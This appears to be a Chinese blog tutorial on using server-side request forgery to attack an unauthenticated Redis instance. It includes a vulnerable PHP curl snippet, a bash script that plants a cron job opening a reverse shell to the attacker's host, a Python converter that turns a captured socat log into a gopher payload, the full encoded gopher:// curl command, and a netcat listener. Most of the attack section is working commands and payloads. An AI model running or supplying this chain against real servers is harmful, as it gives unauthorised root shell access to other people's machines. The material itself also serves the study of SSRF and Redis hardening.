Fork me on GitHub

SSRF在Redis中反弹shell

搭个环境怪不容易的,求大佬们放过。。。

参考文献:https://joychou.org/web/phpssrf.html
https://www.anquanke.com/post/id/146417

SSRF概念

SSRF(Server-Side Request Forgery),服务端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。

利用 SSRF 实现的攻击:

对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别,通过访问默认文件实现
攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
利用 file 协议读取本地文件

SSRF漏洞出现的场景

常见的危险函数:

fsockopen()      file_get_contents()     curl_exec()
  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB,Redis)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

一个栗子

1
2
3
4
5
6
7
<?php
$location=$_GET['path'];
$curl = curl_init();
curl_setopt ($curl, CURLOPT_URL, $location);
curl_exec ($curl);
curl_close ($curl);
?>

redis反弹shell

环境

centos xx.xxx.xx.xxx ,目标(需以root方式启动redis)
ubuntu xxx.xx.xxx.xx,攻击方

redis反弹shell的bash脚本

1
2
3
4
5
6
#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/8989 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

在redis的第0个数据库中添加key为1,value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/2333 0>&1\n\n\n\n的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。CONFIG SET 命令动态地调整 Redis 服务器的配置,每个用户生成的crontab文件,都会放在 /var/spool/cron/目录下面,set直接往当前用户的crontab里写入反弹shell

执行脚本命令:

1
bash shell.sh xx.xxx.xx.xxx  6379

想获取Redis攻击的TCP数据包,可以使用socat进行端口转发。

1
2
socat -v tcp-listen:4444,fork tcp-connect:xx.xxx.xx.xxx :6379
bash xx.xxx.xx.xxx shell.sh 4444

意思是将本机的4444端口转发到本机的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。本应在socat那个命令下捕获到数据,但是阿里云的服务器是真的强,emmm因为端口问题一直没有成功。
这个是大佬的数据(抓不到比较难受)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
> 2017/10/11 01:24:52.432446  length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r



*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1



\r
< 2017/10/11 01:24:52.432685 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.435153 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/10/11 01:24:52.435332 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.437594 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/10/11 01:24:52.437760 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.439943 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/10/11 01:24:52.443318 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.446034 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/10/11 01:24:52.446148 length=5 from=0 to=4
+OK\r

引用的话还需转换:

如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a

通过转换规则发现,如果要换IP和端口,前面的$58更改下就行了,$58表示字符串长度为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a,3+51+4=58。如果想换成xxx.xx.xxx.xx,那么$58需要改成$62,其他不变就行
转换脚本

1
python tran.py socat.log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

结果为:

1
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/8989 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a

执行此命令

1
2
curl -v 'gopher://xx.xxx.xx.xxx
:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/8989 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a'

出现5个ok,则成功了。

本地监听8989端口

1
nc -l -p 8989

PS:当用get 方式的时候需将payload进行url编码

可能出现的问题:

①(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.
原因:强制把redis快照关闭了导致不能持久化
解决方法:127.0.0.1:6379> config set stop-writes-on-bgsave-error no

②.save Error
日志(vi /var/log/redis/redis-server.log):Failed opening .rdb for saving: Read-only file system
emmm,找不到解决办法,有大佬知道的话请给我说下。

-------------本文结束感谢您的阅读-------------